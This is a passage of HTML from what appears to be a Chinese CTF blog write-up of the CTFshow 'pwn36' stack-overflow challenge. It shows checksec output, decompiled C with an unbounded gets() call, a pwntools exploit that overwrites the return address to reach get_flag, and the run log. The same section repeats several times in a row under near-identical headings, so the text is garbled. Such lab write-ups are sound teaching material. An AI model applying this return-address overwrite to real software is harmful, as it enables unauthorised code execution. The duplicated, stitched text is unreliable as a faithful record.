class="built_in">puts</span>(asc_8048B60);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : Stack_Overflow                                          &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : There are backdoor functions here!                      &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Find and use it!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Enter what you want: &quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *<span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">36</span>]; <span class="comment">// [esp+0h] [ebp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> gets(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用 gets 函数从标准输入读取一行字符串，并将其存储在 s 数组中。然后，返回指向 s 的指针。 gets 函数是非常不安全的，容易导致缓冲区溢出漏洞。因为它无法限制输入的长度，可能会超出s 数组的容量，导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞，s距ebp仅有0x28，而gets不限制输入长度。</p><p>还在程序中找到了get_flag函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">get_flag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+Ch] [ebp-4Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">flag=elf.sym[<span class="string">&#x27;get_flag&#x27;</span>]</span><br><span class="line">payload=cyclic(<span class="number">0x28</span>+<span class="number">4</span>)+p32(flag)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 872</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX unknown - GNU_STACK missing</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stack:      Executable</span><br><span class="line">    RWX:        Has RWX segments</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : There are backdoor <span class="built_in">functions</span> here!</span><br><span class="line">    * *************************************</span><br><span class="line">Find and use it!</span><br><span class="line">Enter what you want:</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><h2 id="pwn36-4"><a href="#pwn36-4" class="headerlink" title="pwn36"></a>pwn36</h2><p>Hint：存在后门函数，如何利用？</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX unknown - GNU_STACK missing</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段</p><p>32位IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804883C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80488B0);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804892C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80489B8);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048A48);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048ACC);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048B60);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : Stack_Overflow                                          &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : There are backdoor functions here!                      &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Find and use it!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Enter what you want: &quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *<span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">36</span>]; <span class="comment">// [esp+0h] [ebp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> gets(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用 gets 函数从标准输入读取一行字符串，并将其存储在 s 数组中。然后，返回指向 s 的指针。 gets 函数是非常不安全的，容易导致缓冲区溢出漏洞。因为它无法限制输入的长度，可能会超出s 数组的容量，导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞，s距ebp仅有0x28，而gets不限制输入长度。</p><p>还在程序中找到了get_flag函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">get_flag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+Ch] [ebp-4Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">flag=elf.sym[<span class="string">&#x27;get_flag&#x27;</span>]</span><br><span class="line">payload=cyclic(<span class="number">0x28</span>+<span class="number">4</span>)+p32(flag)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 872</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX unknown - GNU_STACK missing</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stack:      Executable</span><br><span class="line">    RWX:        Has RWX segments</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : There are backdoor <span class="built_in">functions</span> here!</span><br><span class="line">    * *************************************</span><br><span class="line">Find and use it!</span><br><span class="line">Enter what you want:</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><h2 id="pwn36-5"><a href="#pwn36-5" class="headerlink" title="pwn36"></a>pwn36</h2><p>Hint：存在后门函数，如何利用？</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX unknown - GNU_STACK missing</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段</p><p>32位IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804883C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80488B0);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804892C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80489B8);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048A48);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048ACC);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048B60);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : Stack_Overflow                                          &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : There are backdoor functions here!                      &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Find and use it!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Enter what you want: &quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *<span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">36</span>]; <span class="comment">// [esp+0h] [ebp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> gets(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用 gets 函数从标准输入读取一行字符串，并将其存储在 s 数组中。然后，返回指向 s 的指针。 gets 函数是非常不安全的，容易导致缓冲区溢出漏洞。因为它无法限制输入的长度，可能会超出s 数组的容量，导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞，s距ebp仅有0x28，而gets不限制输入长度。</p><p>还在程序中找到了get_flag函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">get_flag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+Ch] [ebp-4Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">flag=elf.sym[<span class="string">&#x27;get_flag&#x27;</span>]</span><br><span class="line">payload=cyclic(<span class="number">0x28</span>+<span class="number">4</span>)+p32(flag)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 872</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX unknown - GNU_STACK missing</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stack:      Executable</span><br><span class="line">    RWX:        Has RWX segments</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : There are backdoor <span class="built_in">functions</span> here!</span><br><span class="line">    * *************************************</span><br><span class="line">Find and use it!</span><br><span class="line">Enter what you want:</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><h2 id="pwn36-6"><a href="#pwn36-6" class="headerlink" title="pwn36"></a>pwn36</h2><p>Hint：存在后门函数，如何利用？</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX unknown - GNU_STACK missing</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段</p><p>32位IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804883C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80488B0);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804892C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80489B8);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048A48);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048ACC);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048B60);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : Stack_Overflow                                          &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : There are backdoor functions here!                      &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Find and use it!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Enter what you want: &quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *<span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">36</span>]; <span class="comment">// [esp+0h] [ebp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> gets(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用 gets 函数从标准输入读取一行字符串，并将其存储在 s 数组中。然后，返回指向 s 的指针。 gets 函数是非常不安全的，容易导致缓冲区溢出漏洞。因为它无法限制输入的长度，可能会超出s 数组的容量，导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞，s距ebp仅有0x28，而gets不限制输入长度。</p><p>还在程序中找到了get_flag函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">get_flag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+Ch] [ebp-4Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">flag=elf.sym[<span class="string">&#x27;get_flag&#x27;</span>]</span><br><span class="line">payload=cyclic(<span class="number">0x28</span>+<span class="number">4</span>)+p32(flag)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 872</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX unknown - GNU_STACK missing</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stack:      Executable</span><br><span class="line">    RWX:        Has RWX segments</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : There are backdoor <span class="built_in">functions</span> here!</span><br><span class="line">    * *************************************</span><br><span class="line">Find and use it!</span><br><span class="line">Enter what you want:</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><h2 id="pwn36-7"><a href="#pwn36-7" class="headerlink" title="pwn36"></a>pwn36</h2><p>Hint：存在后门函数，如何利用？</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX unknown - GNU_STACK missing</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段</p><p>32位IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804883C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80488B0);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804892C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80489B8);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048A48);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048ACC);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048B60);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : Stack_Overflow                                          &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : There are backdoor functions here!                      &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Find and use it!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Enter what you want: &quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *<span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">36</span>]; <span class="comment">// [esp+0h] [ebp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> gets(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用 gets 函数从标准输入读取一行字符串，并将其存储在 s 数组中。然后，返回指向 s 的指针。 gets 函数是非常不安全的，容易导致缓冲区溢出漏洞。因为它无法限制输入的长度，可能会超出s 数组的容量，导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞，s距ebp仅有0x28，而gets不限制输入长度。</p><p>还在程序中找到了get_flag函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">get_flag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+Ch] [ebp-4Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">flag=elf.sym[<span class="string">&#x27;get_flag&#x27;</span>]</span><br><span class="line">payload=cyclic(<span class="number">0x28</span>+<span class="number">4</span>)+p32(flag)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight 